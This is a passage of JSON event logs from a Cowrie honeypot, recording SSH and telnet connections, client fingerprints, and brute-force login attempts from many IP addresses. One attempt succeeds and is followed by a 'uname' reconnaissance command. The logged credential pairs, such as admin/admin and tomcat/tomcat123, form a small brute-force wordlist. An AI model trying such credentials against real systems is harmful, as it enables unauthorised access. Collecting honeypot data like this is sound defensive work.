0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:57.906089Z","src_ip":"45.153.34.112","session":"6f7b3c8c83d1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:58.149081Z","src_ip":"45.153.34.112","session":"6f7b3c8c83d1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:58.350007Z","src_ip":"45.153.34.112","session":"6f7b3c8c83d1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:58.353328Z","src_ip":"45.153.34.112","session":"6f7b3c8c83d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43846,"dst_ip":"10.17.0.5","dst_port":23,"session":"b62bee910001","protocol":"telnet","message":"New connection: 192.119.13.58:43846 (10.17.0.5:23) [session: b62bee910001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:58.359037Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:58.437809Z","src_ip":"45.153.34.112","session":"6f7b3c8c83d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:58.442467Z","src_ip":"45.153.34.112","session":"6f7b3c8c83d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.177.3","src_port":41254,"dst_ip":"10.17.0.5","dst_port":22,"session":"75b58106a32c","protocol":"ssh","message":"New connection: 170.106.177.3:41254 (10.17.0.5:22) [session: 75b58106a32c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:58.942735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:58.947209Z","src_ip":"170.106.177.3","session":"75b58106a32c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:59.016068Z","src_ip":"170.106.177.3","session":"75b58106a32c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.32335424423218,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:59.174384Z","src_ip":"192.119.13.58","session":"dd557bb8dc02","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"redhat123","message":"login attempt [ubuntu/redhat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:34:59.321732Z","src_ip":"170.106.177.3","session":"75b58106a32c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:00.397127Z","src_ip":"170.106.177.3","session":"75b58106a32c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":34478,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf6700c5aa70","protocol":"ssh","message":"New connection: 81.9.145.130:34478 (10.17.0.5:22) [session: cf6700c5aa70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:00.644902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:00.649372Z","src_ip":"81.9.145.130","session":"cf6700c5aa70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:00.764533Z","src_ip":"81.9.145.130","session":"cf6700c5aa70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"esanchez","message":"login attempt [root/esanchez] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:01.259116Z","src_ip":"81.9.145.130","session":"cf6700c5aa70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":60226,"dst_ip":"10.17.0.5","dst_port":22,"session":"e77340504cfb","protocol":"ssh","message":"New connection: 45.153.34.112:60226 (10.17.0.5:22) [session: e77340504cfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:01.506457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:01.522113Z","src_ip":"45.153.34.112","session":"e77340504cfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:01.592864Z","src_ip":"45.153.34.112","session":"e77340504cfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat123","message":"login attempt [tomcat/tomcat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:01.920753Z","src_ip":"45.153.34.112","session":"e77340504cfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:02.383023Z","src_ip":"81.9.145.130","session":"cf6700c5aa70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:03.008862Z","src_ip":"45.153.34.112","session":"e77340504cfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nokia","message":"login attempt [root/nokia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:03.123291Z","src_ip":"147.45.211.215","session":"d35f8de9ccb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39936,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a33646cb347","protocol":"telnet","message":"New connection: 192.119.13.58:39936 (10.17.0.5:23) [session: 6a33646cb347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:04.390731Z"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:04.412269Z","src_ip":"147.45.211.215","session":"d35f8de9ccb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.112.253","src_port":42290,"dst_ip":"10.17.0.5","dst_port":22,"session":"47664fa6a60d","protocol":"ssh","message":"New connection: 43.153.112.253:42290 (10.17.0.5:22) [session: 47664fa6a60d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:04.737195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:04.743246Z","src_ip":"43.153.112.253","session":"47664fa6a60d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":30308,"dst_ip":"10.17.0.5","dst_port":22,"session":"9534c32d18c8","protocol":"ssh","message":"New connection: 158.178.141.16:30308 (10.17.0.5:22) [session: 9534c32d18c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:04.803866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:04.813564Z","src_ip":"158.178.141.16","session":"9534c32d18c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:04.823074Z","src_ip":"43.153.112.253","session":"47664fa6a60d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:05.024652Z","src_ip":"158.178.141.16","session":"9534c32d18c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42656,"dst_ip":"10.17.0.5","dst_port":23,"session":"d55bdf775840","protocol":"telnet","message":"New connection: 192.119.13.58:42656 (10.17.0.5:23) [session: d55bdf775840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:05.032179Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome12","message":"login attempt [root/welcome12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:05.139338Z","src_ip":"43.153.112.253","session":"47664fa6a60d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":60230,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4fbadd8ba4c","protocol":"ssh","message":"New connection: 45.153.34.112:60230 (10.17.0.5:22) [session: d4fbadd8ba4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:05.151451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:05.158035Z","src_ip":"45.153.34.112","session":"d4fbadd8ba4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:05.242322Z","src_ip":"45.153.34.112","session":"d4fbadd8ba4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix","message":"login attempt [zabbix/zabbix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:05.495145Z","src_ip":"45.153.34.112","session":"d4fbadd8ba4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.67848873138428,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:05.504140Z","src_ip":"192.119.13.58","session":"960ce8635524","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"usman","message":"login attempt [root/usman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:05.897673Z","src_ip":"158.178.141.16","session":"9534c32d18c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:06.211628Z","src_ip":"43.153.112.253","session":"47664fa6a60d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:06.606993Z","src_ip":"45.153.34.112","session":"d4fbadd8ba4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:07.109418Z","src_ip":"158.178.141.16","session":"9534c32d18c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.276753425598145,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:08.455853Z","src_ip":"192.119.13.58","session":"a06192958283","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.06774544715881,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:08.613457Z","src_ip":"192.119.13.58","session":"9e5534602791","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":60234,"dst_ip":"10.17.0.5","dst_port":22,"session":"6430d5723448","protocol":"ssh","message":"New connection: 45.153.34.112:60234 (10.17.0.5:22) [session: 6430d5723448]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:08.627687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:08.632334Z","src_ip":"45.153.34.112","session":"6430d5723448","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.38677644729614,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:08.667510Z","src_ip":"192.119.13.58","session":"6c0513538fd5","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:08.796397Z","src_ip":"45.153.34.112","session":"6430d5723448","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"abc123","message":"login attempt [test/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:09.273423Z","src_ip":"45.153.34.112","session":"6430d5723448","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:35:10.358867Z","src_ip":"45.153.34.112","session":"6430d5723448","protocol":"ssh"}
